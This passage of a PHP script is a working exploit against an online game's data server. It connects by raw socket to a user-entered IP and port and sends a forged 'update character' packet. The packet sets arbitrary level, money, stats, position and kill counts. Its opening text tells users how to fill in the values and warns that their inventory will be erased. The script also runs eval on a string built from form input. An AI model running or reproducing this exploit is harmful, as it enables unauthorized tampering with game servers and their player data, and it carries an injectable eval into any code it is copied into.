This script will try to "patch" your character. All you have to do, is to
find out server\'s IP and enter appropriate values in fields below.
1) What does Strength[#NUMBERS] bullshit mean? #NUMBER shows how many
#NUMBER will be added to your strength. E.g.: You want to have 513 strength,
so the fields must be like these:
Strength = 1(Its ONE)
+ (PLUS)
Strength[256] = 2 (2 * 256)
I think it\'s understandable.
Please note: all your equipment and items from inventory
will be erased!!.
Let\'s begin...
');
die();
}
if (!isset($_POST['ip']))
{
die("Enter an ip, idiot");
}
$serveraddr = $_POST['ip']; // Server IP or ISP address
$charname = $_POST['name']; // Character Name (char 10)
$port = $_POST['port']; // Data Server Port
// Zen
$money = Array();
$money["plus"] = "0";
$money["256"] = "0";
$money["65536"] = "0";
$money["16777216"] = "5";
$class = $_POST['class'];
// City Number
$mapnumber = $_POST['mapnumber'];
// Position X
$mapposx = $_POST['posx'];
// Position X
$mapposy = $_POST['posy'];
// View Direction
$mapdir = "6";
// Level
$level = Array();
$level["plus"] = $_POST['level1'];
$level["256"] = $_POST['level2'];
// Experience
$exp = Array();
$exp["plus"] = "0";
$exp["256"] = "0";
$exp["65536"] = "0";
$exp["16777216"] = "10";
// Level up points
$lvluppts = Array();
$lvluppts["plus"] = "0";
$lvluppts["256"] = "0";
$lvluppts["65536"] = "1";
$lvluppts["16777216"] = "0";
// Kills
$kills = Array();
$kills["plus"] = $_POST['kills'];
$kills["256"] = "0";
$kills["65536"] = "0";
$kills["16777216"] = "0";
// PK Level
$pklevel = Array();
$pklevel["plus"] = "0";
$pklevel["256"] = "0";
$pklevel["65536"] = "0";
$pklevel["16777216"] = "0";
// Time left in PK
$pktime = Array();
$pktime["plus"] = "0";
$pktime["256"] = "0";
$pktime["65536"] = "0";
$pktime["16777216"] = "0";
// Strength
$str = Array();
$str["plus"] = $_POST['str1'];
$str["256"] = $_POST['str2'];
// Dexterity
$dex = Array();
$dex["plus"] = $_POST['dex1'];
$dex["256"] = $_POST['dex2'];
// Vitality
$vit = Array();
$vit["plus"] = $_POST['vit1'];
$vit["256"] = $_POST['vit2'];
// Energy
$energy = Array();
$energy["plus"] = $_POST['en1'];
$energy["256"] = $_POST['en2'];
// Life
$life = Array();
$life["plus"] = "0";
$life["25.6"] = "1000";
// Max. Life
$maxlife = Array();
$maxlife["plus"] = "0";
$maxlife["25.6"] = "1000";
// Mana
$mana = Array();
$mana["plus"] = "0";
$mana["25.6"] = "1000";
// Max. Mana
$maxmana = Array();
$maxmana["plus"] = "0";
$maxmana["25.6"] = "1000";
////////////////-\\\\\\\\\\\\\\\\\
/////////// PROGRAM! \\\\\\\\\\\\\
////////////////-\\\\\\\\\\\\\\\\\
$socket = socket_create(AF_INET, SOCK_STREAM, 0);
if (!@socket_connect($socket, $serveraddr, $port))
{
die("Unable to strike this server.\n");
}
$exploit = "194 3 172 7 "; // Query to update character
for ($i = 0; $i < strlen($charname); $i++)
{
$exploit .= ord(substr($charname, $i, 1)) . " ";
}
for ($i = 10-strlen($charname); $i > 0; $i--)
{
$exploit .= "0 ";
}
$exploit = substr($exploit, 0 , strlen($exploit));
$exploit .= "0 0 ";
$exploit .= $level["plus"] . " " . $level["256"];
$exploit .=" " . $class . " 0 ";
$exploit .= $lvluppts["plus"] . " " . $lvluppts["256"] . " " .
$lvluppts["65536"] . " " . $lvluppts["16777216"];
$exploit .= " " . $exp["plus"] . " " . $exp["256"] . " " . $exp["65536"] . "
" . $exp["16777216"];
$exploit .= " 255 0 0 0 ";
$exploit .= $money["plus"] . " " . $money["256"] . " " . $money["65536"] . "
" . $money["16777216"];
$exploit .= " ";
$exploit .= $str["plus"] . " " . $str["256"];
$exploit .= " " . $dex["plus"] . " " . $dex["256"];
$exploit .= " " . $vit["plus"] . " " . $vit["256"];
$exploit .= " " . $energy["plus"] . " " . $energy["256"];
$exploit .= " " . $life["plus"] . " " . $life["25.6"];
$exploit .= " " . $maxlife["plus"] . " " . $maxlife["25.6"];
$exploit .= " " . $mana["plus"] . " " . $mana["25.6"];
$exploit .= " " . $maxmana["plus"] . " " . $maxmana["25.6"];
$exploit .= " 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 103 57 46 0 157 154 70 128 0 0 255 255 255 255
255 255 255 255 255 255 160 0 255 0 53 173 152 128 0 0 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 176 32 128 0 177 215 132 128 0 0 201 0 1 0 0 0 0 128
0 0 201 0 1 0 0 0 0 128 0 0 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 198 88 3 0 0 0 0 128 0 0 198 88 3 0 0 0 0 128 0 0 195 88 2 0
0 0 0 128 0 0 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 198 88 3 0 0
0 0 128 0 0 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 17 0 0 6 0 0 2 0
0 5 0 0 3 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0
0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 255 0 0 ";
$exploit .= $mapnumber . " " . $mapposx . " " . $mapposy . " " . $mapdir . "
"; // Map Number (int 1)
$exploit .= $kills["plus"] . " " . $kills["256"] . " " . $kills["65536"] . "
" . $kills["16777216"] . " ";
$exploit .= $pklevel["plus"] . " " . $pklevel["256"] . " " .
$pklevel["65536"] . " " . $pklevel["16777216"] . " ";
$exploit .= $pktime["plus"] . " " . $pktime["256"] . " " . $pktime["65536"]
. " " . $pktime["16777216"];
$exploit .= " 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255
255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 0 0";
$charvar = explode(" ", $exploit);
$exploit = "\$exploit = ";
for ($i = 0; $i < count($charvar); $i++)
{
$exploit .= "chr(" . $charvar[$i] . ") . ";
}
$exploit = substr($exploit, 0, strlen($exploit)-3);
$exploit .= ";";
eval($exploit);
socket_write($socket, $exploit, strlen($exploit));
socket_close($socket);
print("Seems everything is ok. Go and check it out...\n");
?>